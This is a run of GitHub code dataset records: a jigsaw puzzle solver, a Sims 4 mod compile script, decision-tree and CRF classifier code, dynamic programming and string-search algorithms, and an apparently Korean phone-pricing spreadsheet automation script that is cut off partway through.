0\r\n if edge_type1 == edge_type2:\r\n return 0\r\n return 1\r\n\r\n def updatePuzzle(self, space, piece, rotation):\r\n \"\"\"Main command for updating the solution after a piece has been chosen to be placed in a space.\"\"\"\r\n x = space[0]\r\n y = space[1]\r\n self.placed_pieces[piece] = 1\r\n self.loc[y][x] = piece\r\n self.rotation[y][x] = rotation\r\n self.priority = incrementPriorities(\r\n x, y, self.loc_type, self.priority, self.x_limit, self.y_limit)\r\n self.space = updateCurves(x, y, piece, rotation / 90, self.space,\r\n self.x_limit, self.y_limit)\r\n self.placement_order_space[self.placement_num] = space\r\n self.placement_order_piece[self.placement_num] = piece\r\n\r\n def manualPlace(self, space, piece, rotation):\r\n \"\"\"Manually forces a piece into the solution.\"\"\"\r\n score = 0\r\n option = Option(piece, rotation, score)\r\n options = []\r\n options.append(option)\r\n choice = 0\r\n step = Step(space, options, choice)\r\n self.place(step)\r\n\r\n def matchFilter(self, matches):\r\n \"\"\"Filters piece matches, keeps only the good ones and ranking them from best to worst.\"\"\"\r\n good_matches = []\r\n matches.sort(key=takeFourth)\r\n for k in range(len(matches)):\r\n if self.settings.helper_threshold*matches[0][3] >= matches[k][3]:\r\n good_matches.append(matches[k])\r\n return good_matches\r\n\r\n def truncate(self, list, length):\r\n if len(list) > length:\r\n list = list[0:length]\r\n return list\r\n\r\n def nextSpace(self):\r\n \"\"\"Determines which space in the puzzle to attemp to solve next, based on the priority array.\"\"\"\r\n for i in range(-20, -1):\r\n level = -i\r\n if self.y_limit >= self.x_limit: # puzzle is tall\r\n for y in range(0, self.y_limit):\r\n for x in range(0, self.x_limit):\r\n if self.priority[y][x] == level:\r\n return [x, y]\r\n else: # puzzle is wide\r\n for x in range(0, self.x_limit):\r\n for y in range(0, self.y_limit):\r\n if self.priority[y][x] == level:\r\n return [x, y]\r\n\r\n def place(self, step):\r\n \"\"\"Command allowing the user to manually force a certain piece into a certain place in the puzzle.\"\"\"\r\n self.memory.append(step)\r\n choice = step.choice\r\n piece = step.options[choice].piece\r\n rotation = 90 * step.options[choice].rotation\r\n space = step.space\r\n x = space[0]\r\n y = space[1]\r\n # delete placed piece from list of available pieces:\r\n if self.loc_type[y][x] == 3: # corner or edge\r\n if piece in self.processed_corners:\r\n self.processed_corners.remove(piece)\r\n self.x_limit = self.short\r\n self.y_limit = self.long\r\n else: # is edge\r\n self.processed_edges.remove(piece)\r\n self.x_limit = self.long\r\n self.y_limit = self.short\r\n self.loc_type, self.loc_type_detail = locTypeInit(self.x_limit, self.y_limit, self.short)\r\n self.loc = self.loc[:self.y_limit, :self.x_limit]\r\n self.rotation = self.rotation[:self.y_limit, :self.x_limit]\r\n temp_priority = self.priority\r\n self.priority = priorityInit(self.x_limit, self.y_limit)\r\n self.priority[0:2, 0:self.short-1] = temp_priority[0:2, 0:self.short-1]\r\n self.space = self.space[:self.y_limit, :self.x_limit]\r\n\r\n if self.loc_type[y][x] == 2:\r\n self.processed_corners.remove(piece)\r\n if self.loc_type[y][x] == 1:\r\n self.processed_edges.remove(piece)\r\n if self.loc_type[y][x] == 0:\r\n self.processed_interior.remove(piece)\r\n # update the puzzle:\r\n self.updatePuzzle(space, piece, rotation)\r\n self.placement_num = self.placement_num + 1\r\n if self.settings.show_selection_text:\r\n print(\"Piece\", piece, \"with rotation\", rotation, \"has been placed into space\", space)\r\n\r\n def backtrace(self, memory):\r\n \"\"\"Determines where the backtracker should move back to.\"\"\"\r\n for i in range(len(memory)):\r\n step = len(memory) - 1 - i\r\n if memory[step].choice != len(memory[step].options) - 1:\r\n step_number = step\r\n option_number = memory[step].choice + 1\r\n return step_number, option_number\r\n return -1, -1\r\n\r\n def legBacktrace(self):\r\n for i in range(len(self.legs)):\r\n i_leg = len(self.legs) - 1 - i\r\n if self.path_choice[i_leg] != len(self.legs[i_leg]) - 1:\r\n self.path_choice[i_leg] = self.path_choice[i_leg] + 1\r\n return i_leg\r\n return -1\r\n\r\n def backtracker(self, final_step, final_option):\r\n \"\"\"Undoes solver placements back to a specified option in a specified step.\"\"\"\r\n # TODO don't backtrack into border, instead choose next best border\r\n memory = copy.deepcopy(self.memory)\r\n memory[final_step].choice = final_option\r\n self.reset()\r\n for step in range(final_step + 1):\r\n self.place(memory[step])\r\n # Display Output:\r\n if self.settings.show_backtracker:\r\n count = 0\r\n for step in range(final_step + 1):\r\n count = count + 1\r\n choice = memory[step].choice\r\n print(choice, end=\" \")\r\n if count < 54:\r\n for i in range(54 - count):\r\n print(\"X\", end=\" \")\r\n print(\"\")\r\n if self.settings.show_incremental_solution:\r\n displaySolution(createSolution(self.data, self), self.data.av_length, self.x_limit, self.y_limit, self.settings)\r\n\r\n def manualCompare(self, piece1, side1, rotation1, piece2, side2, rotation2):\r\n \"\"\"Command allowing the user to manually compare how well 2 pieces match.\"\"\"\r\n img_processed_bgr = copy.deepcopy(self.data.img_processed_bgr)\r\n contour1 = self.data.processed_pieces[piece1][(side1 + rotation1) % 4]\r\n contour2 = self.data.processed_pieces[piece2][(side2 + rotation2) % 4]\r\n if self.settings.interpolate_ref is True:\r\n contour1 = interpolate_curve(contour1, self.settings)\r\n if self.settings.interpolate_cand is True:\r\n contour2 = interpolate_curve(contour2, self.settings)\r\n contour1, contour2, peak_point1, peak_point2 = normaliseContours(contour1, contour2, self.data.av_length)\r\n colour_contour_xy1 = self.data.colour_contours_xy[piece1][(side1 + rotation1) % 4]\r\n colour_contour_xy2 = self.data.colour_contours_xy[piece2][(side2 + rotation2) % 4]\r\n colour_contour_xy1, colour_contour_xy2, colour_peak_point1, colour_peak_point2 = normaliseContours(\r\n colour_contour_xy1, colour_contour_xy2, self.data.av_length)\r\n colour_curve1 = self.data.colour_contours[piece1][(side1 + rotation1) % 4]\r\n colour_curve2 = self.data.colour_contours[piece2][(side2 + rotation2) % 4]\r\n\r\n score_shape, score_colour, score_total = compareContours(\r\n contour1, contour2, colour_curve1, colour_curve2, colour_contour_xy1, colour_contour_xy2, self.data.av_length, self.settings)\r\n\r\n print(\"Comparing piece\", piece1, \"(side\", side1, \"rot\", rotation1, \") with piece\", piece2, \"(side\", side2,\r\n \"rot\", rotation2, \"). \", f'Scores: shape {score_shape:.4f} colour {score_colour:.4f} total {score_total:.4f}')\r\n # bgr overlays\r\n cv2.polylines(img=img_processed_bgr, pts=[self.data.processed_pieces[piece1][(\r\n side1 + rotation1) % 4]], isClosed=0, color=(0, 0, 255), thickness=1)\r\n cv2.polylines(img=img_processed_bgr, pts=[self.data.processed_pieces[piece2][(\r\n side2 + rotation2) % 4]], isClosed=0, color=(0, 255, 0), thickness=1)\r\n\r\n cropped1 = zoom(img_processed_bgr, self.data.grid_centers[piece1], self.data.radius_max)\r\n h, w, ch = cropped1.shape\r\n cropped = np.zeros([h, 3 * w, 3], dtype=np.uint8)\r\n cropped[:, 0:w] = cropped1\r\n cropped2 = zoom(img_processed_bgr, self.data.grid_centers[piece2], self.data.radius_max)\r\n cropped[:, w:2 * w] = cropped2\r\n\r\n # overlapped contours\r\n img_norm_segments = np.zeros([h, w, 3], dtype=np.uint8)\r\n offset = [75, 50]\r\n cv2.polylines(img=img_norm_segments, pts=[contour2 - offset],\r\n isClosed=0, color=(0, 255, 0), thickness=1)\r\n cv2.polylines(img=img_norm_segments, pts=[contour1 - offset],\r\n isClosed=0, color=(0, 0, 255), thickness=1)\r\n cv2.circle(img=img_norm_segments, center=tuple(peak_point1 - offset),\r\n radius=1, color=[0, 255, 255], thickness=-1)\r\n cv2.circle(img=img_norm_segments, center=tuple(peak_point2 - offset),\r\n radius=1, color=[255, 0, 255], thickness=-1)\r\n cropped[:, 2 * w:] = img_norm_segments\r\n # colour bar\r\n col_w = int(self.settings.inc - 1)\r\n width = col_w * len(colour_contour_xy1)\r\n height = 20\r\n img_colour = np.zeros([height, width, 3], dtype=np.uint8)\r\n for index in range(len(colour_contour_xy1)):\r\n point1 = colour_contour_xy1[index]\r\n colour1 = colour_curve1[index]\r\n dist, colour2 = colourClosestDist(\r\n point1, colour_contour_xy1, colour1, colour_contour_xy2, colour_curve2)\r\n img_colour[0:10, col_w * index:col_w * index + col_w] = colour1\r\n img_colour[10:21, col_w * index:col_w * index + col_w] = colour2\r\n cropped[h - 40:h - 20, 2 * w:2 * w + width] = img_colour\r\n imshow(imageResize(cropped, height=self.settings.disp_height), self.settings.env)\r\n","repo_name":"Soliman006/Jigsaw-puzzle-solver","sub_path":"solving/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":31098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2931591736","text":"import os\nfrom Utilities.unpyc3_compiler import Unpyc3PythonCompiler\n\n\nrelease_dir = os.path.join('..', '..', 'Release', 'CustomGenderSettings')\n\nUnpyc3PythonCompiler.compile_mod(\n folder_path_to_output_ts4script_to=release_dir,\n names_of_modules_include=('customgendersettings',),\n output_ts4script_name='customgendersettings'\n)\n","repo_name":"ColonolNutty/CustomGenderSettings","sub_path":"Scripts/compile/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"11741933443","text":"\"\"\"\n Esse codigo em python esta com os prints comentados.\n Tendo em vista que esse codigo é so para ter uma noção de em quanto tempo\n o codigo demorou para rodar, se quiser, descomente os prints para ver a \n saida no terminal.\n\n\"\"\"\n\n\n## Importando as bibliotecas do projeto\n\nimport pandas as pd\nfrom chefboost import Chefboost as chef\n\n\ndf = pd.read_csv('../data.csv', sep=';')\n\n# Configurando o e gerando o modelo para rodar o algoritmo ID3\n\nconfig = {'algorithm': 'ID3'}\nmodel = chef.fit(df, config = config, target_label = 'Risco')\n\n# Configurando o e gerando o modelo para rodar o algoritmo C4.5\n\nconfig = {'algorithm': 'C4.5'}\nmodel = chef.fit(df, config = config, target_label = 'Risco')\n","repo_name":"ribeir099/Computer-Science","sub_path":"Graduating/4°Período/IA/Lista3/python/decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72063080027","text":"from typing import List\n\n\ndef fib(n):\n \"\"\"\n Recursive simple and intuitive\n O(F) = O(2^n) or exponential.\n :param n: int\n :return: int\n \"\"\"\n if n <= 1:\n return n\n return fib(n - 1) + fib(n - 2)\n\n\ndef dynamic_fib(n):\n \"\"\"\n Dynamic Programming рекурсия вывернутая наоборот\n В некоторых случаях Динамическое программирование не может быть реализовано\n O(n) linear\n :param n: int\n :return: int\n \"\"\"\n fb = [0, 1] + [0] * (n - 1)\n for i in range(2, n + 1):\n fb[i] = fb[i - 1] + fb[i - 2]\n return fb[n] # last i is result you can return fb[-1]\n\n\ndef trajectories_num(n: int) -> int:\n \"\"\"\n find trajectories of cricket that can jump with rules\n 1) +1\n 2) +2\n :param n: int\n :return: int\n \"\"\"\n k = [0, 1] + [0] * (n - 1)\n for i in range(2, n + 1):\n k[i] = k[i - 2] + k[i - 1]\n return k[n]\n\n\ndef count_trajectories(n: int, allowed: List[bool]) -> int:\n \"\"\"\n find trajectories of cricket that can jump with rules\n 1) +1\n 2) +2\n 3) +3\n and there is allowed nums\n :param n: int\n :param allowed: List[bool]\n :return: int\n \"\"\"\n k = [0, 1, int(allowed[2])] + [0] * (n - 3)\n for i in range(3, n + 1):\n if allowed[i]:\n k[i] = k[i - 1] + k[i - 2] + k[i - 3]\n return k[-1]\n\n\ndef count_min_cost(n, price: list):\n C = [float(\"-inf\"), price[1], price[1] + price[2]] + [0] * (n - 2)\n for i in range(3, n + 1):\n C[i] = price[i] + min(C[i - 1], C[i - 2])\n return C[n]\n\n\ndef linearize_array(A):\n \"\"\"\n Линеаризует массив произвольной вложенности не по лучшей практике\n То есть инициализирует пустой массив готовый к линеаризации\n :param A:\n :return:\n \"\"\"\n result = []\n for i in range(0, len(A)):\n for j in range(0, len(A[i])):\n result.append(A[i][j])\n # на самом деле A[i][j] элемент многомерного массива хранится в одномерном в позиции A[i*M+j]\n # было в начале не понятно но после пары тестов понял что A[i*M+j] A одномерный массив\n # i строка в многомерном то есть индекс одного из массивов в родительском массиве\n # M количество элементов в одном из массивов в род массиве\n # j индекс каждого элмента внтури одного из массивов в род массиве\n # пока так тупо не разжевал самому себе не понял если честно что такое A[i*M+j]\n # многомерный [[1, 2], [3, 4], [5, 6]] линейный [1, 2, 3, 4, 5, 6]\n # 1) A[0][0] = 0 * 2 + 0 = A[0]\n # 2) A[0][1] = 0 * 2 + 1 = A[1]\n\n # 3) A[1][0] = 1 * 2 + 0 = A[2]\n # 4) A[1][1] = 1 * 2 + 1 = A[3]\n\n # 2) A[2][0] = 2 * 2 + 0 = A[4]\n # 2) A[2][1] = 2 * 2 + 1 = A[5]\n return result\n\n\ndef wrong_list_of_lists(M: list, N: list):\n \"\"\"\n Список списков N строки M элементы нужно сохдать двумерный массив из двух массивов\n :param M: list\n :param N: list\n :return:\n \"\"\"\n A = [[0] * len(M)] * len(N)\n return A\n\n\ndef best_list_of_lists(M: list, N: list):\n \"\"\"\n Список списков N строки M элементы нужно сохдать двумерный массив из двух массивов\n :param M: list\n :param N: list\n :return:\n \"\"\"\n A = [[0] * len(M) for i in range(len(N))]\n return A\n\n\ndef king_steps(N: int, M: int) -> int:\n \"\"\"\n Количество маршрутов\n Пусть за один ход королю разрешается передвинуться на одну клетку вниз или вправо. Необходимо определить,\n сколько существует различных маршрутов, ведущих из левого верхнего в правый нижний угол.\n W(a, b) = W(a, b - 1) + W(a - 1, b).\n 252 шага потребуется для рекурсии и 36 шагод для динамического программирования\n использует треугольник паскаля в решении посмотри на весь массив в конце работы\n :param N:\n :param M:\n :return:\n \"\"\"\n # create lis of lists\n K = [[0] * (M + 1) for i in range(N + 1)]\n # initialize values, prepare to work\n for i in range(0, M + 1):\n K[0][i] = 1\n for j in range(0, N + 1):\n K[j][0] = 1\n # work\n for i in range(1, N + 1):\n for j in range(1, M + 1):\n K[i][j] = K[i][j - 1] + K[i - 1][j]\n\n return K[N][M]\n\n\ndef longest_common_subsequence(A: list, B: list) -> int:\n \"\"\"\n Наибольшая общая подпоследовательность\n :param A: list\n :param B: list\n :return: int\n \"\"\"\n F = [[0] * (len(B) + 1) for i in range(len(A) + 1)]\n for i in range(1, len(A) + 1):\n for j in range(1, len(B) + 1):\n if A[i - 1] == B[j - 1]:\n F[i][j] = 1 + F[i - 1][j - 1]\n else:\n F[i][j] = max(F[i - 1][j], F[i][j - 1])\n return F[-1][-1]\n\n\ndef longest_increasing_subsequence(A: list) -> int:\n \"\"\"\n Наибольшая возрастающая подпоследовательность\n :param A: list\n :return: int\n \"\"\"\n F = [0] * (len(A))\n F[0] = 1\n for i in range(1, len(A)):\n m = 0\n for j in range(0, i):\n if A[i] > A[j] and F[j] > m:\n m = F[j]\n F[i] = m + 1\n return F[-1]\n\n\ndef levenshtein(A: str, B: str) -> int:\n \"\"\"\n Редакционное расстояние мужду строками\n Ищем наименьшее расстояние\n Ошибки:\n 1) Перепутал символ\n 2) Вставил лишнее\n 3) Потерял нужное\n :param A: str\n :param B: str\n :return: int\n \"\"\"\n F = [[i + j if i * j == 0 else 0 for j in range(len(B) + 1)] for i in range(len(A) + 1)]\n\n for i in range(1, len(A) + 1):\n for j in range(1, len(B) + 1):\n if A[i - 1] == B[j - 1]:\n F[i][j] = F[i - 1][j - 1]\n else:\n F[i][j] = 1 + min(F[i - 1][j], F[i][j - 1], F[i - 1][j - 1])\n return F[len(A)][len(B)]\n\n\ndef check_strings(A: str, B: str) -> bool:\n \"\"\"\n O(n) реализация A == B но наша легче и быстрее а A == B имеет свою цену\n :param A: str\n :param B: str\n :return:\n \"\"\"\n if len(A) != len(B):\n return False\n for i in range(len(A)):\n if A[i] != B[i]:\n return False\n return True\n\n\ndef search_substring(s: str, sub: str) -> int:\n \"\"\"\n O(n * m) Наивный поиск подстроки\n :param s: str\n :param sub: str\n :return: int\n \"\"\"\n for i in range(0, len(s) - len(sub) + 1):\n if check_strings(s[i:i + len(sub)], sub):\n return i\n\n\ndef prefix(s):\n p = [0] * len(s)\n for i in range(1, len(s)):\n k = p[i - 1]\n while k > 0 and s[i] != s[k]:\n k = p[k - 1]\n if s[i] == s[k]:\n k += 1\n p[i] = k\n return p\n\n\ndef kmp(s, t):\n \"\"\"\n O(n + m) Алгоритм Кнута Морриса Пратта\n\n \"\"\"\n index = -1\n f = prefix(s)\n k = 0\n for i in range(len(t)):\n while k > 0 and s[k] != t[i]:\n k = f[k - 1]\n if s[k] == t[i]:\n k = k + 1\n if k == len(s):\n index = i - len(s) + 1\n break\n return index\n","repo_name":"Avutzhan/mastering_algorithms","sub_path":"algos/dynamic_programming/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8101,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1452280125","text":"import itertools\nfrom uuid import uuid4\n\nimport sklearn_crfsuite\nfrom sklearn.base import BaseEstimator\n\nimport scorer\nimport utils\n\n\nclass SequenceClassifier(BaseEstimator):\n \"\"\"\n Обертка для классификаторов, работающих с последовательностями токенов,\n переводящая их на уровень документов, чтобы можно было работать\n с кросс-валидацией в GridSearchCV и получать оценку scorer-а\n \"\"\"\n\n def __init__(self, **params):\n self.cls = params['cls']\n self.file_name = str(uuid4()) + '.crfsuite'\n params.pop('cls')\n \n algorithm = params['algorithm'] if 'algorithm' in params else 'lbfgs'\n c1 = params['c1'] if 'c1' in params else 0.1\n c2 = params['c2'] if 'c2' in params else 0.1\n max_iterations = params['max_iterations'] if 'max_iterations' in params else 100\n all_possible_transitions = params['all_possible_transitions'] if 'all_possible_transitions' in params else True\n\n if self.cls == 'CRF':\n self.obj = sklearn_crfsuite.CRF(\n algorithm=algorithm,\n c1=c1,\n c2=c2,\n max_iterations=max_iterations,\n all_possible_transitions=all_possible_transitions\n )\n\n def fit(self, x_docs, y_docs):\n \"\"\"\n Отвечает за обучение внутреннего классификатора\n :param x_docs: Данные в формате документов\n :param y_docs: Ответы в формате документов\n :return:\n \"\"\"\n x_sents = list(itertools.chain.from_iterable(x_docs))\n y_sents = list(itertools.chain.from_iterable(y_docs))\n\n self.obj.fit(x_sents, y_sents)\n return self\n\n def predict(self, x_docs):\n \"\"\"\n Отвечает за предсказание ответа на данных\n :param x_docs: Данные для предсказания в формате документов\n :return:\n \"\"\"\n x_sents = list(itertools.chain.from_iterable(x_docs))\n\n y_pred_sents = self.obj.predict(x_sents)\n\n y_pred_docs = []\n index = 0\n for doc in x_docs:\n length = len(doc)\n if length == 0:\n continue\n y_pred_docs.append(y_pred_sents[index:index + length])\n index += length\n\n return y_pred_docs\n\n def score(self, x_docs, y_real_docs):\n \"\"\"\n Отвечает за оценку результатов на некоторых данных\n :param x_docs: Данные для оценки в формате документов\n :param y_real_docs: Ответ на данных в формате документов\n :return:\n \"\"\"\n y_pred_docs = self.predict(x_docs)\n\n y_pred_sent = list(itertools.chain(*y_pred_docs))\n y_real_sent = list(itertools.chain(*y_real_docs))\n\n enc = utils.LabelEncoder()\n y_pred_sent = [[enc.get(el) for el in arr] for arr in y_pred_sent]\n y_real_sent = [[enc.get(el) for el in arr] for arr in y_real_sent]\n labels = [\"PER\", \"ORG\", \"LOC\", \"MISC\"]\n result = scorer.Scorer.get_total_f1(labels, y_pred_sent, y_real_sent, enc)\n return result\n \n def get_full_score(self, x_docs, y_real_docs):\n \"\"\"\n Отвечает за получение полного отчета\n :param x_docs: Данные для оценки в формате документов\n :param y_real_docs: Ответ на данных в формате документов\n :return:\n \"\"\"\n y_pred_docs = self.predict(x_docs)\n\n y_pred_sent = list(itertools.chain(*y_pred_docs))\n y_real_sent = list(itertools.chain(*y_real_docs))\n\n enc = utils.LabelEncoder()\n y_pred_sent = [[enc.get(el) for el in arr] for arr in y_pred_sent]\n y_real_sent = [[enc.get(el) for el in arr] for arr in y_real_sent]\n labels = [\"PER\", \"ORG\", \"LOC\", \"MISC\"]\n scorer.Scorer.get_full_score(labels, y_pred_sent, y_real_sent, enc)\n\n def get_params(self, deep=True):\n \"\"\"\n Отвечает за получение параметров внутреннего классификатора\n :param deep:\n :return:\n \"\"\"\n params = self.obj.get_params()\n params['cls'] = self.cls\n return params\n\n def set_params(self, **params):\n \"\"\"\n Отвечает за установку параметров внутреннего классификатора\n :param params:\n :return:\n \"\"\"\n if 'cls' in params:\n params.pop('cls')\n self.obj.set_params(**params)\n return self\n","repo_name":"lazuka13/named_entity_recognition","sub_path":"code/conll/classifiers/sequence_classifier.py","file_name":"sequence_classifier.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27177592089","text":"\nimport random\nimport threading\nimport math\nimport time\nfrom datetime import date, datetime, timedelta\nimport sys\nimport os\nfrom pathlib import Path\nfrom typing import Optional\nimport pyautogui as pg\nimport json\nimport re\nfrom PIL import ImageGrab\n\nimport win32com.client\n# from openpyxl import load_workbook\nfrom tkinter import *\nfrom tkinter import ttk\nimport pythoncom\nimport gspread\nimport openpyxl\n\nfrom selenium import webdriver\nfrom selenium.webdriver import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.support.select import Select\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n\"\"\"\n주요 변수\nnowAction ( write / reply ) / 글쓰는지 댓글인지 체크\nnowWriteStatus (optimize / basic ) / 최적화인지 아닌지 체크\nallCount : 전체 변수, 글 / 댓글 나누기 위함\nwriteCount : 글쓰기 변수 nowAction 이 write일때 하나씩 증가, 최적화 아이디인지 판별하기 위함\n\ncafe_id.cell(세로(열), 가로(행)).value\n\"\"\"\n\n###\n\n\ndef goScript(getDict):\n \n if getDict['getTong'] == 0:\n setTong = 'SK'\n elif getDict['getTong'] == 1:\n setTong = 'KT'\n else:\n setTong = 'LG'\n \n # with open(\"./result_image/0result.txt\", \"w\") as f:\n # f.write(\"start~~~~\\n\")\n \n \n # 스프레드 시트 열기\n json_file_name = 'ecstatic-magpie-310310-5c58a2ab08ef.json'\n gc = gspread.service_account(filename=json_file_name)\n \n doc = gc.open_by_url('https://docs.google.com/spreadsheets/d/1gWxGWnVPMBN6qDrHglE75Qn5j2Fq9sixEX14mW8qsMo/edit?usp=sharing')\n workSheet = doc.worksheet(setTong)\n \n # 엑셀파일 열기\n excel = win32com.client.Dispatch(\"Excel.Application\", pythoncom.CoInitialize())\n excel.visible = False\n\n wb = excel.Workbooks.Open(f'{os.getcwd()}/etc/test_ex.xlsx')\n ws = wb.Worksheets['onSheet']\n \n workCreate = openpyxl.load_workbook('./etc/create_link.xlsx')\n sheet = workCreate.get_sheet_by_name('Sheet1')\n \n \n if not getDict['getLine']:\n basicCount = 0\n else:\n basicCount = int(getDict['getLine'])\n \n yogInfoList = workSheet.range(f'B1:H3')\n yogNameList = getArr(yogInfoList, 0)\n yogFeeList = getArr(yogInfoList, 7)\n yogDataList = getArr(yogInfoList, 14)\n \n yogShalList = []\n for i, val in enumerate(yogFeeList):\n sHalVal = math.ceil(val * 0.25) * -1\n yogShalList.append(sHalVal)\n \n setBasicTable(ws, yogNameList, 12, 2)\n setBasicTable(ws, yogFeeList, 13, 3)\n setBasicTable(ws, yogDataList, 16, 6)\n setBasicTable(ws, yogShalList, 14)\n \n if setTong == 'SK':\n createCount = 6\n elif setTong == 'KT':\n createCount = 15\n else:\n createCount = 24\n while True:\n basicCount += 1\n tempVal = workSheet.acell(f'A{basicCount}').value\n if tempVal == 'STOP':\n excel.Quit()\n pg.alert('작업이 완료 되었습니다!')\n break\n if tempVal is not None:\n if '갤럭시' in tempVal or '아이폰' in tempVal:\n deviceName = tempVal\n \n if setTong == 'SK':\n all_list = workSheet.range(f'B{basicCount}:H{basicCount+9}')\n capa_list = getArr(all_list, 0, 'ok')\n fPrice_list = getArr(all_list, 7, 'ok')\n gongsi_list = getArr(all_list, 14)\n \n mnp_ghal_list = getArr(all_list, 42)\n mnp_shal_list = getArr(all_list, 49)\n \n gib_ghal_list = getArr(all_list, 56)\n gib_shal_list = getArr(all_list, 63)\n \n else:\n all_list = workSheet.range(f'B{basicCount}:H{basicCount+8}')\n capa_list = getArr(all_list, 0, 'ok')\n fPrice_list = getArr(all_list, 7, 'ok')\n gongsi_list = getArr(all_list, 14)\n \n mnp_ghal_list = getArr(all_list, 35)\n mnp_shal_list = getArr(all_list, 42)\n \n gib_ghal_list = getArr(all_list, 49)\n gib_shal_list = getArr(all_list, 56)\n \n \n for idx, capa in enumerate(capa_list):\n \n ws.cells(5,2).Value = f'{setTong} {deviceName} {capa}'\n ws.cells(5,12).Value = f'{setTong} {deviceName} {capa}'\n ws.cells(7,4).Value = fPrice_list[idx]\n ws.cells(7,15).Value = fPrice_list[idx]\n setCount = 7\n for idg, basicFee in enumerate(yogFeeList):\n ws.cells(5,5).Value = \"번호이동 공시지원금 요금제표\"\n ws.cells(setCount+idg,5).Value = gongsi_list[idg]\n setMnpgHalwon = fPrice_list[idx] - gongsi_list[idg] - mnp_ghal_list[idg]\n if setMnpgHalwon < 0:\n setMnpgHalwon = 0\n setMnpgMonthHal = math.ceil(setMnpgHalwon / 24)\n ws.cells(setCount+idg,7).Value = setMnpgHalwon\n ws.cells(setCount+idg,8).Value = setMnpgMonthHal\n ws.cells(setCount+idg,9).Value = basicFee + setMnpgMonthHal\n \n \n ws.Range(ws.Cells(5,2),ws.Cells(13,9)).Copy() \n img = ImageGrab.grabclipboard()\n imgFile = os.path.join(f'{os.getcwd()}/result_image',f'{setTong}_{pre_val}_{capa}_mnp_gongsi.png')\n img.save(imgFile)\n \n ws.cells(5,15).Value = \"번호이동 선택약정 요금제표\"\n setMnpsHalwon = fPrice_list[idx] - mnp_shal_list[idg]\n if setMnpsHalwon < 0:\n setMnpsHalwon = 0\n setMnpsMonthHal = math.ceil(setMnpsHalwon / 24)\n \n ws.cells(setCount+idg,17).Value = setMnpsHalwon\n ws.cells(setCount+idg,18).Value = setMnpsMonthHal\n ws.cells(setCount+idg,19).Value = basicFee + yogShalList[idg] + setMnpsMonthHal\n \n ws.Range(ws.Cells(5,12),ws.Cells(13,19)).Copy() \n img = ImageGrab.grabclipboard()\n imgFile = os.path.join(f'{os.getcwd()}/result_image',f'{setTong}_{pre_val}_{capa}_mnp_sunyak.png')\n img.save(imgFile)\n \n for idg, basicFee in enumerate(yogFeeList):\n ws.cells(5,5).Value = \"기기변경 공시지원금 요금제표\"\n ws.cells(setCount+idg,5).Value = gongsi_list[idg]\n setgHalwon = fPrice_list[idx] - gongsi_list[idg] - gib_ghal_list[idg]\n if setgHalwon < 0:\n setgHalwon = 0\n setgMonthHal = math.ceil(setgHalwon / 24)\n ws.cells(setCount+idg,7).Value = setgHalwon\n ws.cells(setCount+idg,8).Value = setgMonthHal\n ws.cells(setCount+idg,9).Value = basicFee + setgMonthHal\n \n \n ws.Range(ws.Cells(5,2),ws.Cells(13,9)).Copy() \n img = ImageGrab.grabclipboard()\n imgFile = os.path.join(f'{os.getcwd()}/result_image',f'{setTong}_{pre_val}_{capa}_gib_gongsi.png')\n img.save(imgFile)\n\n \n ws.cells(5,15).Value = \"기기변경 선택약정 요금제표\"\n setsHalwon = fPrice_list[idx] - gib_shal_list[idg]\n if setsHalwon < 0:\n setsHalwon = 0\n setsMonthHal = math.ceil(setsHalwon / 24)\n \n ws.cells(setCount+idg,17).Value = setsHalwon\n ws.cells(setCount+idg,18).Value = setsMonthHal\n ws.cells(setCount+idg,19).Value = basicFee + yogShalList[idg] + setsMonthHal\n \n ws.Range(ws.Cells(5,12),ws.Cells(13,19)).Copy() \n img = ImageGrab.grabclipboard()\n imgFile = os.path.join(f'{os.getcwd()}/result_image',f'{setTong}_{pre_val}_{capa}_gib_sunyak.png')\n img.save(imgFile)\n \n createCount += 1\n with open(\"./result_image/0result.txt\", \"a\") as f:\n f.write(f'{setTong}_{pre_val}_{capa}_gib_gongsi.png,{setTong}_{pre_val}_{capa}_gib_sunyak.png,{setTong}_{pre_val}_{capa}_mnp_gongsi.png,{setTong}_{pre_val}_{capa}_mnp_sunyak.png\\n')\n \n sheet.cell(2,createCount).value = f'{setTong}_{pre_val}_{capa}_gib_gongsi.png,{setTong}_{pre_val}_{capa}_gib_sunyak.png,{setTong}_{pre_val}_{capa}_mnp_gongsi.png,{setTong}_{pre_val}_{capa}_mnp_sunyak.png'\n workCreate.save('./etc/create_link.xlsx')\n \n \n f.write(f'{setTong}_{pre_val}_{capa}_gib_gongsi.png\\n')\n f.write(f'{setTong}_{pre_val}_{capa}_gib_sunyak.png\\n')\n f.write(f'{setTong}_{pre_val}_{capa}_mnp_gongsi.png\\n')\n f.write(f'{setTong}_{pre_val}_{capa}_mnp_sunyak.png\\n\\n')\n pre_val = tempVal\n\n \n \ndef make_link():\n # 엑셀파일 열기\n excel = win32com.client.Dispatch(\"Excel.Application\", pythoncom.CoInitialize())\n excel.visible = False\n \n wb = excel.Workbooks.Open(f'{os.getcwd()}/etc/create_link.xlsx')\n ws = wb.Worksheets['Sheet1']\n \n with open(\"./etc/create_link.txt\", \"w\") as f:\n f.write('생성시작\\n\\n')\n \n \n plusCount = 0\n while True:\n \n bc = 2+plusCount\n if ws.cells(bc,1).Value is None:\n break\n \n linkText = \"http://ts-phone.com/test/update_get.php\"\n it_id = f\"?it_id={ws.cells(2+plusCount,2).Value}\"\n linkText = linkText + it_id\n \n 